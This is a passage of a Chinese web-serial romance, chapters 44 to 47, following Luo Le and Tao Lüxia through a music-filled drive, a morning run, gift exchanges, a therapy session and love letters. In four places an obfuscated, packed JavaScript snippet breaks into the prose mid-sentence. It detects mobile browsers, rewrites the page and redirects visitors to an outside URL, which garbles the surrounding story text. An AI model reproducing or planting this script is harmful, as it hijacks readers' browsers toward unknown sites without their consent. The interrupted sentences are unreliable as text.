罗乐瞥了眼副驾那团沉默,摸了摸鼻子,口气软了点:“审完了,能放我一马了?” “你能不能少说点那种话。”陶律夏轻叹了一句。 罗乐心下一梗—— 浪漫修炼刚开课,就被你指着雷神审,到头来,怎么还让我少说点? 他正想怼两句,却发现那位好像真不愿再搭理自己,便识趣地转开话题:“来点音乐调调味,你想听什么?” “随便放吧。”陶律夏微一侧头,懒懒地靠在椅背上。 罗乐刚要动手…… “不要嘻哈、不要民谣、不要爵士,重金属绝对不行,也别太轻柔,节奏强一些,能带点空间感,如果贴合现在这种‘云雾微醺’的感觉就更好了。” “……” 蔫了半分钟就又精神了,这叫随便放?!罗乐扯了扯嘴角,偏头斜了他一眼:“你怎么这么难伺候?要不给你个话筒,你自己唱算了。” 陶律夏转过头,看着他:“不是你让我点的吗?我只是排除了不想听的,表达了一点个人偏好,你完全可以在剩余类别中自由发挥。” 他停了一下,又补充道:“这是高效筛选,不是难伺候。” “行行行,哥哥现在就给你发挥一把剩余选项。”罗乐连上蓝牙,点开了自己的播放列表。 低音鼓点一沉一浮,人声切片轻柔地叠进旋律,干净、克制。陶律夏听了一会儿,有点意外,是自己喜欢的调调。 第二首顺接上来,节奏氛围如出一脉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004477|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,罗乐没有跳歌,就一直播着。 陶律夏原本靠着椅背,眼神虚落在窗外氤氲的山影间,直到第三首响起,他微微挺直脊背,往前坐了一点—— 这首live混音,他太熟悉了。 两年前,欧洲某个电音节上的限场演出,DJ当场即兴改编的版本,他费了很久才扒出音源,而现在,它居然出现在这里? 第四首副歌落下时,陶律夏已经确定了,这就是他听过的那张歌单——《夜路飞行》。 当初第一次刷到这张歌单时,他曾短暂地怀疑过:为什么平台算法能把自己的偏好拿捏到这种程度? 不必快进,不需要跳歌,每一首都对准他当时的心境,恰到好处。 那天晚上,陶律夏毫不犹豫地点了收藏。两年过去,「灵魂歌单」的收藏数也不过只有个位数。 没想到,这“个位数”里,居然有他。 他转头看了一眼罗乐。那人正跟着旋律轻轻哼着,指节在方向盘上有节奏地敲,不是偶然点开,他完全认可这组排列的审美秩序。 “……你喜欢这个歌单?”陶律夏问。 “嗯。”雨点打在窗玻璃上,罗乐按下雨刷器,随口答道:“我做的。” “这个歌单,是你做的?!”陶律夏一脸惊讶,他原本想问的是“你是怎么找到的?” “咋了?”罗乐偏过头瞄了他一眼,半是调侃道:“你是不是觉得哥应该听网红神曲混喊麦那挂的?” 陶律夏没回话,眼睛直直地看着他…… 罗乐看着他一脸宕机的表情,笑了出来:“你也喜欢电子吗?我还我以为你是古典乐派的。” “我喜欢电子乐,尤其是你刚刚放的这种。”陶律夏顿了顿,看向罗乐:“很喜欢”。 他拿起罗乐的手机,屏幕上是那张熟悉的歌单封面——灰色调的月球,孤悬在宇宙静默的一隅。 “为什么叫‘夜路飞行’?”陶律夏低声问。 “名字是个模仿,你看过那本书吗?《夜航西飞》。” “看过。”陶律夏应了一声,“柏瑞尔·马卡姆孤身一人驾着飞机,穿过狂风和夜色,越过了大西洋。“ “两年前迷上了骑摩托车,晚上常在空路上练车,风特别大。”罗乐把着方向盘,目光投向前方的山路。 “在夜路上骑行,那种感觉……宁静,自在,有点危险,特自由。” 雨点细细碎碎地落在挡风玻璃上,像是和着音乐敲出一段轻柔的心曲,载着那个没有说出口的秘密。 陶律夏没有告诉罗乐,在某个失眠的夜晚,这些歌成为把他从情绪深海中拽回岸边的临时锚点。 “你现在不练摩托车了吗?”陶律夏问。 罗乐看着前路说:“很久不玩了,我现在喜欢跑步。” “要不要一起去跑步?”陶律夏问。 “什么时候?罗乐侧眼看他。” “明天?” 罗乐嘴角带笑,偏头看他:“六点能起来吗?” 陶律夏回望他:“有何不可?” 44.爱是什么? 清早六点半,罗乐准时到了公园,远远就看见陶律夏在跑道边热身。 一身“去跑个城市全马都不过分”的专业装备,拉升动作角度标准、幅度规范,完美得几乎没有破绽。 除了那张脸…… 那张脸上写满了“我在全神贯注复刻最优动作”,哪怕做个普通的侧弯腰,都一副“髋关节旋转角偏差最好小于1%”的认真表情。 罗乐一边压腿一边偷瞄,越看越想笑,终于忍不住开口:“你昨晚是不是背了一整本《初级跑者技术入门》?” 陶律夏神色淡定:“没有,时间有限,只挑了三公里跑的部分看了下,主要是配速策略、步频步幅的控制方法,顺便补了三种呼吸法的核心机制。” 说着,他立起脚尖,缓慢地活动脚腕:“今天的目标是在合理心率区间内,完成一次高效、温和的有氧耐力训练。” 连呼吸法都学了三种?要不是亲眼见过他打网球时迷之挥拍的场面,单看这架势,罗乐差点以为他昨晚被校田径队临时征召参赛。 “那咱们开始吧,陶老师。”罗乐往跑道上走了几步。 前300米,陶律夏看着运动手表淡定输出:“目前配速控制在每公里6分钟,处于最优恢复区间。” “状态不错。”罗乐在旁边夸了一句。 陶律夏没回话,露出一个典型的陶神式表情——我收到了你的夸奖,并表示合理认同。 但跑过500米,画风就开始跑偏,摆臂不再标准,呼吸节奏也开始混乱,“吸——呼——吸——咳咳。” 跑到1公里时,陶律夏出汗明显,呼吸急促,腿部动作也演变成“人形擦地机”。 “你还行吗?”罗乐边跑边问。 “还可以,所有数据……尚在可控范围内……”陶律夏虚弱地点点头。 嘴上说着「可控」,但整个人已接近极限。 快到2公里时,他说出嘴的句子已经碎成片:“我……大概……需要缓……缓……心率151……” “停停停!”罗乐立刻伸手托住他的后背,“靠边,喘口气。” 陶律夏靠在护栏上,大喘特喘,碎湿的发丝贴在额头上。 他有气无力地抬起一只手,声音稀碎微哑:“我……严重误判了人类意……志……在中等缺氧环境下的维持能力。” “听不清你在说什么,喝点水。”罗乐扭开瓶盖,把水递到他手边。 陶律夏抓过水,喝了几口,终于无力地承认:“我……跑不动了。” 两人在湖边的长椅上坐下,陶律夏靠着椅背,双眼闭合,沉声分析道:“我判断……刚才已经进入了极限负荷区间。” “补点糖。”罗乐从口袋里拿出一根能量棒,撕开包装凑到他嘴边。 陶律夏睁开眼,皱眉拒绝:“这个配方成分不合理,升糖太快会导致——” “你刚刚都快升天了,还在乎升糖?”罗乐把能量棒递过去,“吃一口,听话。” 陶律夏轻咬一口,慢吞吞地嚼着,半湿的头发贴着额头,整张脸还笼着跑完步的潮红,发梢微湿,眼睫微颤,神情疲惫又倔强。 罗乐看着,忽然俯下身,在他脸颊上轻吻一下。 “喂!这里是公共区域!”陶律夏猛地瞪大眼。 “声音这么大?”罗乐笑着把他往怀里揽,“看来你的心肺功能恢复得挺快。” “热死了,别抱我!”陶律夏挣扎着往外扭。 “好好好。”罗乐松开他,抬手拨开他额前被汗黏住的发丝,从口袋里掏出一台小电风扇,举到他脸前。 凉风轻拂而过,陶律夏盯着地面:“我是不是很差劲?” “哪里差了?”罗乐咧嘴一笑,伸手揉了揉他的发顶,“没摔着、没放弃,也没坐在地上哭,比我高中那同桌强太多了。” 陶律夏抬头看他:“你对我的要求就这么低?” “我对你没要求。”罗乐笑了一下,把剩下的能量棒吃了。 “你想练练我陪你,你跑不动了——”他凑近陶律夏耳边:“哥哥就背你。” “下次别这么拼,我们慢慢跑。”罗乐说。 “你一开始怎么不说要慢慢跑?”陶律夏撇过头,带着些露馅后的难堪,“你是不是……想看我出丑?” “天地良心!”罗乐瞪大眼睛,一脸无辜,“你昨晚学了那么多理论,不得实战一下,万一你是黑马选手呢!” 一只水鸟从湖面掠过,划出一圈圈涟漪,罗乐看向那片晃动的波光:“看到你明明不擅长,还那么真挚地在努力,我……很感动。” 陶律夏眉眼微动,对他来说,学会一件事通常只要花点时间重复即可,还从来没有人用真挚、努力来形容自己…… 他确实不喜欢跑步,为了今天的“实验”,昨晚补了很多功课,甚至翻了一遍《当我谈跑步时我谈些什么》,试图从精神层面给这项自己厌恶的体能消耗,构建出一点微薄的信念感。 书里说:“痛楚不可避免,但磨难可以选择。” 那么,自己这番奔跑,算不算一种自我选择的“磨难”? 如果说之前「什么是爱」是一个逻辑不明、路径复杂的谜题,是靠排除法验证的假设。 那么此刻,陶律夏彷佛摸到了一点点爱情的轮廓:它浪费时间,剥离理智,让人自讨苦吃…… 爱,竟然是这么奇怪的东西。 “去吃早饭吧,你昨天在营地不是说想吃煎饼果子?”陶律夏站起身说。 罗乐扣住他的肩膀,将人往怀里带了带:“我现在不想吃煎饼果子了?” “那你想吃什么?”陶律夏抬头问。 “拿铁咖啡配巧克力香蕉帕尼尼。”罗乐笑了笑。 “上午我得回去做个调研,中午还有个聚餐,估计三点前能结束。你下午有什么安排?” 陶律夏:“没有,你来我家吧,我有东西给你。” * 警校西门外的烤串店,藏在一棵老槐树后头。店主老张六十多岁,早些年就在西门外支了煤炉摊儿,专卖烤鸡翅。 读本科那会儿,罗乐和林岘常坐在他摊前的小马扎上,喝酒撸串。 谁也没料到,老张后来真把买卖做大了,盘下一家饭馆,变成了「张老板」。这段励志故事成了警校传奇,烤串店也就成了学生们常来打卡的“江湖圣地”。 今天来“江湖圣地”组局的方靖,是罗乐隔壁宿舍的哥们。这半年他一直在老家实习,最近毕业答辩刚回到京北。 “来,喝一个,毕业快乐!”方靖气势十足,抬手就是一口闷。 罗乐浅浅喝了一口,把杯子往桌上一放。 方靖一看就不乐意了,横了他一眼:“你以前不是这德行啊?现在多喝两口是要写情况说明,还是怎么的?” “没办法,开始当人民警察了,当然得按纪律来。”罗乐笑得一派轻松。 “你啥时候报到?” “28号。” “我还以为你下午就得报到呢!”方靖啧了一声,“你现在怎么一身纪律味儿?” “下午确实有事,三点前得走,真不能多喝。”罗乐低头剥起花生米。 “你又有什么事?这局半年才凑齐,你还要忙事?”林岘拿起一串烤羊肉。 “怎么?”罗乐瞥了他一眼,“只有林大律师你能有事?” “我去!”方靖一拍桌子,眼睛都瞪大了,“你真要去当律师?那你们家那一大摊子产业谁来继承?” “我两个姐姐,哪个不比我强。”林岘笑道。 “而且我讨厌生意,如果以后能走刑辩线,说不定能再碰见哥几个。” “别别别。”罗乐一听皱起眉头,“我可不想碰上你。” “哥收钱也看心情的。”林岘肩膀轻轻一撞,把头往罗乐那边一歪:“再说真要碰上了,你把人扣住,我把人保出来,咱们也算是并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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方靖咬着鸡翅含糊地问:“真走阿?聚完这一顿,下次可能得靠婚礼通知凑人了。” “你先结,我给你随份子。”罗乐举起瓶子,把剩下的酒喝了。 “明天下午我就闲了,你们收拾搬家送站啥的,喊我一声。” “滚你对象那儿报到去吧!”林岘举起空酒杯朝他晃了晃。 罗乐前脚一走,方靖立刻就蹿了起来,他一边盯着门,一边压着嗓子问:“哎,他真有对象了?谁啊?你拿他开玩笑呢吧?” 林岘低头装傻:“你怎么这么八卦?人民警察的私事也归你监管?” “我是受人之托,问他是不是还单着,我这不得给人家回个准信?”方靖撇嘴道。 “谁?”林岘立刻来了兴致,“警花吗?” “不是,我们社团的吉他手,性格特好一妹子。” “那你现在就可以回话了。”林岘慢条斯理地把杯底的酒喝干,说:“告诉人家这哥有主儿了。” “真的?”方靖一脸震惊,“他什么时候谈的?他以前不是最烦谈恋爱那一套吗?” “打脸打得贼响。”林岘啧了一声,眯起眼睛笑道:“以前装得跟情感绝缘体似的,现在啰嗦得像个24小时热恋客服。” 方靖愣了两秒:“啥时候的事?这也太隐秘了。” “挺久了。”林岘抬起下巴,眼里带点笑意,“本人有幸参与他狂飙追人的第一次。” “细说参与。”方靖立刻凑近。 林岘耸耸肩,一脸「我很有原则」的样子:“这我不能说,他自己没公开,我得帮哥们守口如瓶。” “到底是谁啊?你都吊我们半天了。”李然也坐不住了。 “我也没见过。”林岘想了想,补了一句,“好像是一个事儿多还拽的小可爱。” 45.礼物和甜花 “冰箱放得下吗?”罗乐晃了晃手里的西瓜。陶律夏点点头,接过西瓜抱进厨房,塞进了冷藏室。 他刚关好冰箱门,罗乐就堵到面前:“把礼物给我。” “我没说要送你礼物,我说的是——有东西要给你。”陶律夏抬头看了他一眼。 “都一样,快给我。”罗乐催促。 “那边坐。”陶律夏抬手,朝客厅方向一指。 客厅那块橄榄绿的地毯上,规规整整地放着两个坐垫,中间摆着一张小茶桌。桌上搁着一本巴掌大的小册子。 “给你的。”陶律夏将册子递给罗乐。 封皮是米白色的,扉页上端端正正写着《六道化学问题》。 “……这啥啊?”罗乐瞳孔地震,“你还给我留作业?” “毕业季社交氛围复杂。”陶律夏坐到他对面。 “也许会有人向你表白。如果无法直接拒绝,就请对方答这六道题。答不出来,你就可以礼貌离席。” 罗乐:“???” “能全答对的概率极小。”陶律夏补充道。 罗乐翻开册子扫了两眼,题干里唯一能看懂的,大概只有“零级反应”“自由能计算”这些汉字。 他合上本子,抬眼盯着对面那张波澜不惊的脸:“……你平时就靠这个打发人?” “这是专门给你的。”陶律夏回答。 “谁会和我表白?”罗乐把手按在册子上。 “会有人喜欢你,这种可能性趋近于100%。”陶律夏说。 “如果你没发现,通常和两个变量有关:他人勇气不够,你的迟钝值太高。” “……那是你的十倍主观滤镜。”罗乐把册子往包里一塞。 陶律夏看着他,神色认真:“你英俊、真实、性格热烈,还很有责任感,我第二次见到你时,就得出了这个判断。” “当时我并没有主观滤镜,只是根据现象归纳出的结论。” 这通冷静又直白的“夸赞”劈头盖脸砸下来,罗乐一时没接住,他索性仰面倒在地毯上,伸手盖住了脸。 “你说的‘有东西给我’……就是这个?” “还有这个。”陶律夏说着又取出一个米白色的纸盒。 罗乐立刻爬了起来,接过盒子,三两下拆开,拿出一只小巧的香薰瓶。 “本来想自制一款多段释放的香薰送你,但实验室条件有限,就放弃了。” “替换成了商品款,你可以每天滴两三滴在扩香石上,其他使用说明我写在卡片里了。” 罗乐:“……” 让他握着一只小滴管,每天仪式感满满地往石头上滴上几滴香薰?这画风,说是抽象都有点轻了。 罗乐微微皱眉,拆开了旁边用纸裹着的罐子——里面是一堆小石头,不能更眼熟了,那天他俩在石滩上捡的…… 莫名柔软的情绪一股脑儿地涌上了头,罗乐看着那堆石头好一会,才慢慢凑过去,把下巴搁在陶律夏肩上:“你不是说……是做实验用的?” “是啊。”陶律夏唇角一弯。 “情绪安抚实验,现在来看——”他偏头看了罗乐一眼,像个正经总结数据的研究员:“效果显著。” 为了保住自己在恋爱关系中最后一厘米的“猛男体面”,罗乐拿着瓶子,随意地摇了摇说:“唉,你这不会是那种特齁甜的味儿吧?” “我觉得你会喜欢。”陶律夏轻巧地笑了笑。 确实喜欢。 罗乐说不上那香味到底是什么调,只觉得清甜干净,跟「陶神」身上的味道是同一路数。 他不动声色地把盒子收进包里说:“这还不算礼物?” “仓促准备的半成品。”陶律夏说。 仓促准备?还半成品?这要精心准备得是什么样?罗乐心哼一声,从包里摸出一个本子。 “那我这个,能算礼物了吧?送你新的日程本。” 陶律夏拿起来看了看,封面是深绿色,边缘烫着一圈暗金滚边,厚度刚好,尺寸也刚好。 翻开一看发现不太对,日历上写满了字…… 他看了一会儿,合上本子,目光落在罗乐身上:“你这是提前把我一年的时间都预定了吗?” “不是预定。”罗乐眼神坦荡,“我写了,是绑定。” 陶律夏:“我有两个问题。第一,你哪来这么多时间,做出类似‘世界土豆日一起去吃薯条’这种仪式感过剩的举动?” 罗乐单手撑在桌上说:“只要我不在深山老林里追逃犯、不在连环杀人案里值72小时通宵班,只要我能闭眼睡上两小时,总能挤出一小时见你。” “……” “第二个问题是什么?”罗乐见陶律夏陷入一团沉默,主动凑了上去。 “联合国日跟情侣有半点关系?” “庆祝我们在人类命运共同体中绑定成功。” 陶律夏提高声量:“你这手法,跟高中男生哄女朋友有区别吗?!” “我可没兴趣哄女生。”罗乐从背后环住他,低声说:“我只想哄我的——高中男生。” “……” 两人正说着话,门铃忽然响了,进来一位四十多岁的中年女人。 “这三周我都不在,您不用准备餐食,简单打扫下就好,露台那边也可以不用管。”陶律夏交代完,看了眼客厅方向,“我哥哥。” 那女人的目光在罗乐身上停了一下,亲切地笑了。 “我家的保洁阿姨,叫郭慧。”陶律夏同罗乐介绍完,指了指露台方向:“去那边坐一会儿?” 露台打理得清爽雅致,靠近外墙的位置,并排放着两个矩形的透明玻璃箱。 箱内铺着厚厚的沙质土壤,上面栽着形态各异的仙人球。眼下正逢花期,有十几株冒出了鲜艳的小花。 罗乐靠近那些或灰或绿、头顶开花的小刺球,他嗅了两下,皱着鼻子嘟囔:“你是不是偷偷给它们喷香薰了?怎么一股甜味儿?” ——给仙人球喷香薰?这是什么脑袋才能想出来的操作?能开出花的脑袋吧。 陶律夏心头轻笑,仿佛看见一只浑身带刺的人形仙人球,头顶上冒出了一朵柔软的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陶律夏下身被他圈得紧紧的,动也动不了,只能勾着他的脖子附身贴近:“……哥哥,快放我下来。” 尾音软糯又黏人,罗乐一时也分不清这人到底是求饶还是撩火,他被这一声叫得呼吸一滞,没再说话,抱着人坐回椅子上。 电扇低低地转着,掀起窗帘一角,阳光在地板上投下斑驳的影子。 陶律夏坐在他腿上,没躲没闪,反而仰起头,亲了亲他的下巴,又顺着往上凑,唇瓣轻巧地擦过嘴角,最后落进一个温热绵长的吻里。 “全世界的甜花扎堆儿,也没你甜。”话一出口,罗乐自己都傻了眼……他嘴里怎么能冒出这种齁到掉牙的句子! 他甚至产生了短暂的羞耻性眩晕。 陶律夏感受到他整个人那一瞬的“顿感”,轻轻往他肩上倚了倚:“语言反常有时是环境刺激诱发的情绪产物,不用紧张,不会永久损伤你的猛男本色。” “你闭嘴!”罗乐低哑着嗓子,他收紧了搂着人的手臂,把人往自己怀里又带了带,鼻尖贴上对方的鬓角,低声问—— “真要给我写信?” “嗯……”陶律夏偏过头,唇瓣点在他锁骨上,细碎地应了一声。 46.研究对象→对象 雨还没停,维特利尔的街道被一层薄雾笼罩。 陶律夏抖了抖伞上的水,把它搁进门边的伞架上,推门走进诊室。 “好久不见,温医生。” 温今岚从办公桌后起身,她穿着一件浅米色半袖衬衣,配灰色一步裙,头发挽在脑后。 “其实我今天下午没安排,要不要换个地方?”温今岚笑道。 “街角的Lili咖啡馆新上了玫瑰布朗尼,我们可以像普通朋友那样,随便聊聊。” 陶律夏熟门熟路地在窗边的蓝色长沙发上坐下:“我还是更喜欢这里。” “因为有躺椅吗?”温今岚打趣地问。 陶律夏:“嗯,而且我还得付诊金,咖啡听起来太不等价了,我还是喜欢…..” “清爽利落的金钱关系。”温今岚接道。 陶律夏客气得笑了笑。 “看上去状态不错,在京北这三年过得怎么样?”温今岚按下咖啡机的按钮,烘焙咖啡豆的香气弥漫开来。 “还不错。”陶律夏点点头。 “今天想从哪儿说起?”温今岚声音柔和。 陶律夏靠在沙发上,视线落在墙上那幅抽象画上,一大片冷色块,中央一条金色的线将其分成两半。 “我身上出现了很多神奇的变化,有些到了让我惊讶的程度。”他说。 温今岚微微点头,示意他继续说。 “以前情绪剧烈波动时,我通常需要一些强刺激输入来干预,比如酒精、音乐、做题偶尔也能起作用。” “但最近……”陶律夏的手指在沙发边沿缓慢轻敲,像在寻找合适的描述。 “我发现,不用强烈的刺激也能获得一种心理稳定,只要……和他在一起。” “TA是谁?你喜欢的人?”温今岚微扬眉梢。 “嗯。”陶律夏点点头。 “他本身也会扰乱我的情绪,有时候是愉悦,有时候是惶恐,有时候很刺激,但更多时候……是一种低频的宁静和缓慢扩散的喜悦。” 温今岚低下头,嘴角浮起一抹笑:“这种感觉,会让你感到陌生吗?” “非常陌生。”陶律夏说。 “所以我翻了一些诊断手册和神经心理学的教材,也做了些自测,但都无法解释这种状态。” “那你希望怎么定义它?或者,你打算如何理解它?”温今岚缓声问。 “经过谨慎的记录和观察……”陶律夏笑了起来。 “现在我比较愿意把它理解成一种具有治愈力的正向依恋,是爱情的副产品。” 温今岚略微一怔,身为一位长期关注非语言表达的心理师,她见过陶律夏的许多种笑容…… 推演得解时的“逻辑喜悦”、被调侃时的“应激反馈”,以及社交互动的“标准回应”。 她从未在他脸上见过这样的表情——轻松、坦率,甚至有点没藏住心思的……可爱。 “听上去,”温今岚轻笑了一声,“你给这段关系写了不少「观察报告」。” “对。”陶律夏点头承认。 “一开始,他是我的研究对象Research object,因为他总会让我混乱,现在……” 陶律夏略顿了一下,又笑了:“他是我的对象。” 他抬头看着温今岚,眼神诚澈:“温医生,你觉得可能吗?这个世界上真的存在……能够长期维持的美好关系吗?” 窗外雨声渐小,温今岚轻轻放下手中的咖啡杯,杯底与托盘碰撞,发出一声细微脆响。 这个问题让她有些措手不及,就像推开一间关的太久的房间,本以为要撞上一室沉积的灰尘,结果迎来的却是清新、真切的甜气。 温今岚思考了一会,说:“你说它是一种‘正向依恋’,我很喜欢这个表述。” 她顿了顿,“这像是一种安全型依恋,它会让你在靠近另一个人时,不会焦虑失控,也不必压抑自我。” “这种关系往往建立在两个前提上:一个是安全感,也就是你刚才说的,那种低频但稳定的舒适感; 另一个,是你在关系里保有主体感,你没变成对方的附属品,反而因为他的存在,能更接近你本来的模样。” “有没有能长期维持的美好关系?我的答案是:有。”温今岚说得很慢。 “但它从来不是「存在于世界」,而是被「共同建造」的。” 温今岚看着他:“你愿意靠近,他不曾逃避;你愿意表达,他积极回应;你愿意观察,他让你看见。” “这些都是这种关系存在的珍贵线索。”她微笑着缓缓靠回椅背。 “你用了‘爱情副产品’这个词,其实我觉得也可能是相反,你们在一起建造了安全而互相滋养的关系,才让爱情成为了这个过程中自然的产物。” 说这话时,温今岚看到那张一向冷静、习惯持有防御姿态的面孔,在不经意间浮现出一种近乎温驯的柔和,像是紧绷的防线,终于,松开了一个小小的缺口。 于是,顺着这道裂缝,她轻声问:“那你愿意聊聊她吗?” “谁?”陶律夏抬起头,眉宇间浮起一丝警觉。 温今岚看着他,声音放缓:“她……还会写信给你吗?” 陶律夏的肩膀几不可察地一僵,他移开视线,维持着那种惯用的、过分平静的口吻:“不知道,我很久没有看过了。” “很久——”温今岚重复道。 陶律夏垂下眼,眼神落在地毯的几何纹路上,问道:“这块地毯是不是吉尔姆式编织?我记得以前的那块是深绿底的,那块是伊朗地毯。” “很久是多久?你很少用这种模糊的词。” “我不记得了……” “你在紧张。”温今岚注视着他,语气温和笃定。 “我没有……”陶律夏抬起头。 “你不想看她的信吗?不想看她说了什么?”温今岚问。 “不想……” “是因为害怕吗?”温今岚身体微微前倾。 “你怕,她再次让你崩溃,还是……怕她再也不会寄任何一封信给你了?” 陶律夏沉默了很久,终于开口:“……都有吧。” 雨停了,云层下透出一缕天光。咖啡馆门口的小黑板 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039742|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被店员重新摆了出来,路过的汽车碾过水洼,荡起一片波光。 “我要走了,温医生,谢谢你的时间。” 陶律夏低声说着,将杯底的咖啡一饮而尽,站起身,朝门口走去。 “律夏。” 听到喊声,陶律夏停下脚步,微微侧过身。 温今岚望着他,五年前那个坐在沙发边缘、不愿抬眼的小男孩,和眼前的人在这一瞬间重合。 “长期维持的美好关系,希望你能一直拥有。” * 没有任何计划地沿着街走了一会,陶律夏就到了Lili 咖啡馆,店门口放着几只木箱,种满了玫瑰花。 他推门而入,选了个靠窗的位置坐下,拿出笔记本开始写信。 To R·L, 你之前问过我,R·L是什么意思,那时候我说,是一个代号。 今天,它可以暂时代表你当初猜的那个:Rose。 莎士比亚说“玫瑰不论叫什么名字,依然芬芳如故。”所以,这名字与你的本色并不冲突,尤其是扎手、带刺、谁惹谁倒霉的野生款。 这家咖啡店门口也种了很多玫瑰花,花瓣像褶皱纸一样,很美丽,我拍了照片给你。 PS. 代号和照片都不构成任何暗示,没有让你种花给我的意思。 昨天幸运地蹭到了一个野外观察营,在一片生态保护林里,针叶林密度很高,苔藓和地衣种类繁多。 清晨进山,天色刚泛白,云雾未散,松针味道清冽,像刚削开的木头。 我申请进了鸟类组,在曙光微亮时拍到了一只白喉带鹀,鸣声清脆,像极了银片轻轻撞在一起的声音。 更幸运的是看见了雪鸮,它展开翅膀时,比想象中还要大。我原本想拍照,但它动作太快,只捕捉到部分轮廓。 附件里是我用彩铅画的速写版,送给你。 你还记得之前让我看过的笔记本吗?我告诉过你,猫头鹰属于猛禽。 雪鸮就是大型猫头鹰类,它每年会吃掉上千只老鼠,还会用猎物的骨骼和毛皮筑巢。听起来很残暴,自然界的生存逻辑从不浪漫,浪漫是观察者的投射。 对了,这里还有一个热知识。 哈利波特的魔法宠物“海德薇”就是雪鸮,它是哈利的信使。感谢伟大的Inte,不然我只能养几只鸽子为你送信。 白天看鸟,晚上拍到了几只闪着蓝绿微光的萤火虫。还发现了一串北美负鼠留下的足迹,很小的一行印子,离我搭帐篷的位置只有十米! 另外,要和你说说我的潜水训练进度。 水肺潜水的理论部分已经复习完了,教练说我的耳压平衡做得还不错。下次练习会带我去浅水区,可能会看到礁石上的海蟑螂。 如果顺利,我应该能在六月底完成初级潜水员的考核。 你的答辩顺利吗? 这段时间,我常会在脑海里模拟“如果你也在”的情景。一些本以为的随手记录,最后都变成了想和你一起完成的清单。 Sunny ·T @Lili Cafe 6.16.2020 47.来信 To Sunny·T 这是你的英文名吧? 我之前在Solf Moon的博物馆里见过,腕龙骨架、大蓝闪蝶、比目鱼……铭牌上全写着“ Sunny·T 捐赠”。 下次你再去博物馆,不妨留意一下,现在那儿还有很多其他人的捐赠,别以为全是你的。 答辩顺利完成,放心,没有人比我更卷。 那天下午,我把你出的《六道化学问题》拿给导师看,想着“吓吓”他,顺便看看野生化学家的极限在哪儿。 结果,小概率事件发生——他全!部!解!出来了。 老王边算边点评,具体内容我就不复述了,反正重点我听明白了:六道题,全是诡计,答案只有一个:“这是个高度稳定的反应系统,请不要再浪费试剂。” 老王说,这是出题人写的化学版情书,带着强烈的主权宣告。这可是刑侦专家的推理,我建议你,还是认账吧。 负鼠那小东西我在视频里见过,跑不动了或者碰上危险就会原地“装死”。不过它要是遇到你,估计八成不敢装。 它怕自己刚一躺下,你就掏出笔,在旁边一边观察,一边说:“从防御机制分析,该行为属于外部刺激触发的被动拟态反应,我可以画个结构图辅助说明。” 对,我就是照着你的语气复现的,你自己读一遍,看看吓不吓人。 虽然哥哥一直在努力学习适应你的节奏,但你以后能不能也考虑下我的心理承受能力,适度降低下杀伤力? 你画的雪鸮有点像你,漂亮,带点狠,我左看右看,越看越像。你还有这手艺?会画画都不告诉我,你到底还有多少事是藏着的? 顺便问个关于潜水服的问题—— 我能否礼貌地请求教练帮忙,给我拍一张你穿潜水服的英姿?如果没有,那就麻烦你回来亲自穿一次,现场展示,供我认真欣赏。 至于海蟑螂……光听名字就让我浑身发毛,拜托,别让它们碰到你,注意防护,别过敏了。 这几天,经历了密集的告别,去了六趟车站,三次机场。有些兄弟还留在京北,但往后再想见面,就得跨越半个城区,不能像以前那样,楼道喊一嗓子,人就来了。 有些伤感,一点点。 你在场景中模拟“如果我也在”的做法,哥非常满意,不过你最好快点回来,我会安排你实地体验。 昨天晚上,我干了一起轻微的违法事件,就当是从严守纪律的生活中,抽空叛逆了一回,专门为了你,内容见附件。 毁坏我警察声誉和猛男本色的罪证,全数交给你。 Your only “gege”@Library, 6. 17. 2020 陶律夏点开邮件附件,照片缓缓加载出来—— 两支月季花,插在透明玻璃瓶里,叶子繁密,没有处理。 结合邮件里的那句“罪证”,判断它来源非法,极有可能是从学校或市政花坛里偷剪下来的。 陶律夏盯着屏幕看了很久,始终没能把思绪拉回到“鸟类活动的昼夜分布图”上。 罪名还得再加一条:“偷心贼”。 指尖在键盘上敲了两下,又停下。自己是在想他吗?已经十分钟三十四秒了。 从效率管理的角度来说,注意力偏移时长超标,继续强推纯属浪费时间,倒不如调整休息。 陶律夏合上电脑,起身出门。沿着街角走了一段,绕了几个完全不必要的弯,走到了商店街。 他走走停停,从“顺手带点小东西”的初衷,演变成“清单式采购”。 纪念品店里买了枚枫叶和松鼠造型的铜质徽章,挂包正好;文具铺挑了几支手感不错的水性笔,墨色深沉,姑且命名为“审讯专用黑”。 